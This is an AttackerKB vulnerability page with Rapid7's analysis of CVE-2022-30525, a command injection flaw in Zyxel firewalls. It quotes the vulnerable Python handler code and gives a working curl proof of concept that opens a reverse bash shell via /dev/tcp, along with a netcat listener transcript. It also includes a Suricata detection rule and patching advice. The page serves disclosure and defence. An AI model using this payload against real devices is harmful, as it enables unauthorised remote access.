Very High
CVE-2022-30525
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-30525
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
This vulnerability is an easy to exploit unauthenticated and remote OS command injection vulnerability. Please see the Rapid7 analysis for details.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- zyxel
Products
- atp100 firmware,
- atp100w firmware,
- atp200 firmware,
- atp500 firmware,
- atp700 firmware,
- atp800 firmware,
- usg flex 100w firmware,
- usg flex 200 firmware,
- usg flex 500 firmware,
- usg flex 50w firmware,
- usg flex 700 firmware,
- usg20w-vpn firmware,
- vpn100 firmware,
- vpn1000 firmware,
- vpn300 firmware,
- vpn50 firmware
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
On Apri 28, 2022, Zyxel published firmware that fixed CVE-2022-30525. The vulnerability, discovered by Rapid7, was an unauthenticated and remote command injection vulnerability affecting some Zyxel firewalls’ administrative web interface. An attacker that exploits this vulnerability achieves remote command execution as nobody
. The vulnerability scores CVSSv3 9.8.
The following table contains the affected models and firmware versions.
Affected Model | Affected Firmware Version |
---|---|
USG FLEX 100, 100W, 200, 500, 700 | ZLD5.00 thru ZLD5.21 Patch 1 |
USG20-VPN, USG20W-VPN | ZLD5.10 thru ZLD5.21 Patch 1 |
ATP 100, 200, 500, 700, 800 | ZLD5.10 thru ZLD5.21 Patch 1 |
On May 12, 2022, Rapid7 published an advisory and Metasploit module for this vulnerability. Observations from Shodan indicate that a noticeable amount of users have already upgraded their firewalls. However, we still anticipate some amount of exploitation in the wild.
Analysis
The vulnerability stems from the use of os.system
with attacker-provided data. The attack is initiated through the /ztp/cgi-bin/handler
endpoint. handler
is a Python script that handles a wide variety of commands. Our test Zyxel USG FLEX 100 using firmware version 5.21 uses a handler.py
with the following supported commands (as written in handler.py
):
supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \ "atraceroute", "iptables", "getorchstat", \ "getInterfaceName_out", "getInterfaceInfo", \ #"getSingleInterfaceInfo", "getAllInterfaceInfo", \ #"getInterfaceNameAll", "getInterfaceNameMapping", \ "nslookup", "iproget", \ "diagnosticinfo", "networkUnitedTest", \ #"setRemoteAssistActive", "getRemoteAssist", \ "setRemoteZyxelSupport", "getRemoteZyxelSupport", \ "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \ "getUSBSt","setUSBmount","setUSBactive", \ "getDiagnosticInfoUsb", \ "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \ "getlanguagest","setlanguage" ]
These commands offer, by design, a variety of interesting options for an unauthenticated user. The command that is vulnerable to CVE-2022-30525 is getWanPortSt
.
elif req["command"] == "getWanPortSt": reply = lib_wan_setting.getWanPortSt()
Above, we can see that getWanPortSt
calls into lib_wan_setting.getWanPortSt
. This is implemented in lib_wan_setting.py
.
''' *************************************************************************** * setwanport function * @param port: port for setting * @param vlanid: vlan id , 0 for default disalbing vlan * @param proto: type of wan (dhcp, static, pppoe) * @param data: detail setting for different port type * * @return reply{ * "code": <exception error code>, * "message": <exception>, * "result": {'ZTPurl':"xx"} * } *************************************************************************** ''' def setWanPortSt(req): reply = {} vlan_tagged = '' logging.info(req) port = req["port"].strip() vlanid = req["vlanid"] proto = req["proto"] data = req["data"] vlan_tagged = req["vlan_tagged"] …
The getWanPortSt
command requires four parameters: vlanid
, proto
, data
, and vlan_tagged
. Additionally, it accepts an mtu
parameter. Both data
and mtu
can be exploited for command injection. data
actually holds an additional JSON blob, so it’s easier to just exploit mtu
.
Eventually, after some amount of validation, all of the provided parameters are combined into a single command and executed.
cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \ + ' ' + data['auth_type'] \ + ' ' + data['ipaddr'] + ' ' + data['gateway'] \ + ' ' + data['firstDnsServer'] + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid cmdLine += ' >/dev/null 2>&1' logging.info("cmdLine = %s" % cmdLine) with open("/tmp/local_gui_write_flag", "w") as fout: fout.write("1"); response = os.system(cmdLine) logging.info(response)
A proof-of-concept reverse bash shell using curl
looks as follows. Note that the command is inserted into the mtu
field.
curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"1270","vlan_tagged":"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;\";","data":"hi"}' https://10.0.0.14/ztp/cgi-bin/handler
On the attacker machine, this can be caught using nc
:
albinolobster@ubuntu:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 10.0.0.14 41498 bash: cannot set terminal process group (10800): Inappropriate ioctl for device bash: no job control in this shell bash-5.1$ id id uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr) bash-5.1$ ps faux ps faux
And from the shell we can observe how the attack looks from the perspective of ps faux
:
nobody 13184 0.0 0.2 20952 5072 ? S May09 0:00 \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL nobody 640 9.3 0.6 18104 11224 ? S 08:58 0:02 | \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py nobody 641 0.0 0.0 3568 1508 ? S 08:58 0:00 | \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN1269 1270 ; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;"; 5 >/dev/null 2>&1 nobody 643 0.0 0.0 3716 1760 ? S 08:58 0:00 | \_ bash -i
Indicators of Compromise
Unfortunately, the firewalls’ logging does not provide any useful insight into exploitation. The affected firewalls do support a diagnostic feature, but it isn’t something that would be wise to run in production. If possible, we suggest monitoring the systems ingress and egress for abnormal behavior. The following Suricata rule should help identify exploitation when the mtu
field is used for exploitation:
alert http any any -> any any ( \ msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \ flow:to_server; \ http.method; content:"POST"; \ http.uri; content:"/ztp/cgi-bin/handler"; \ http.request_body; content:"setWanPortSt"; \ http.request_body; content:"mtu"; \ http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i"; classtype:misc-attack; \ sid:221270;)
Recommendations
Update affected firewalls as soon as possible. The affected firewalls all support automatic updates, but that feature needs to be enabled. We recommend enabling automatic updates immediately. Finally, in an ideal world, the management web interface wouldn’t be exposed to the internet. If possible, disable WAN access. If that isn’t possible, try to enforce a strict IP allow list.
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: